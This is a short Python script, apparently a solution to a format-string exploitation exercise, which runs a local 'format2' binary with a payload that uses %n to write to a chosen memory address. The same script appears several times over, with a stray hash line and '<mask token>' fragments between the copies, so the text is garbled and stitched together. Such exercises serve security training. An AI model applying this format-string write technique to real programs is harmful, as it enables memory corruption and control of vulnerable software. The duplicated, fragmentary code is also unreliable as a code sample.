#!/bin/python3
#objdump -M intel -d i686/format1
#readelf -s i686/format1
#objdump -t i686/format1
from utils import run_command
from binascii import unhexlify

cmd = './i686/format2'
run_command(cmd, b'\x28\xa0\x04\x08%60u%4$n')

c3730c2095f86d1d59bcd490cb376ce617aae351
<mask token>

<mask token>
run_command(cmd, b'(\xa0\x04\x08%60u%4$n')

<mask token>
cmd = './i686/format2'
run_command(cmd, b'(\xa0\x04\x08%60u%4$n')

from utils import run_command
from binascii import unhexlify
cmd = './i686/format2'
run_command(cmd, b'(\xa0\x04\x08%60u%4$n')

#!/bin/python3
#objdump -M intel -d i686/format1
#readelf -s i686/format1
#objdump -t i686/format1
from utils import run_command
from binascii import unhexlify

cmd = './i686/format2'
run_command(cmd, b'\x28\xa0\x04\x08%60u%4$n')
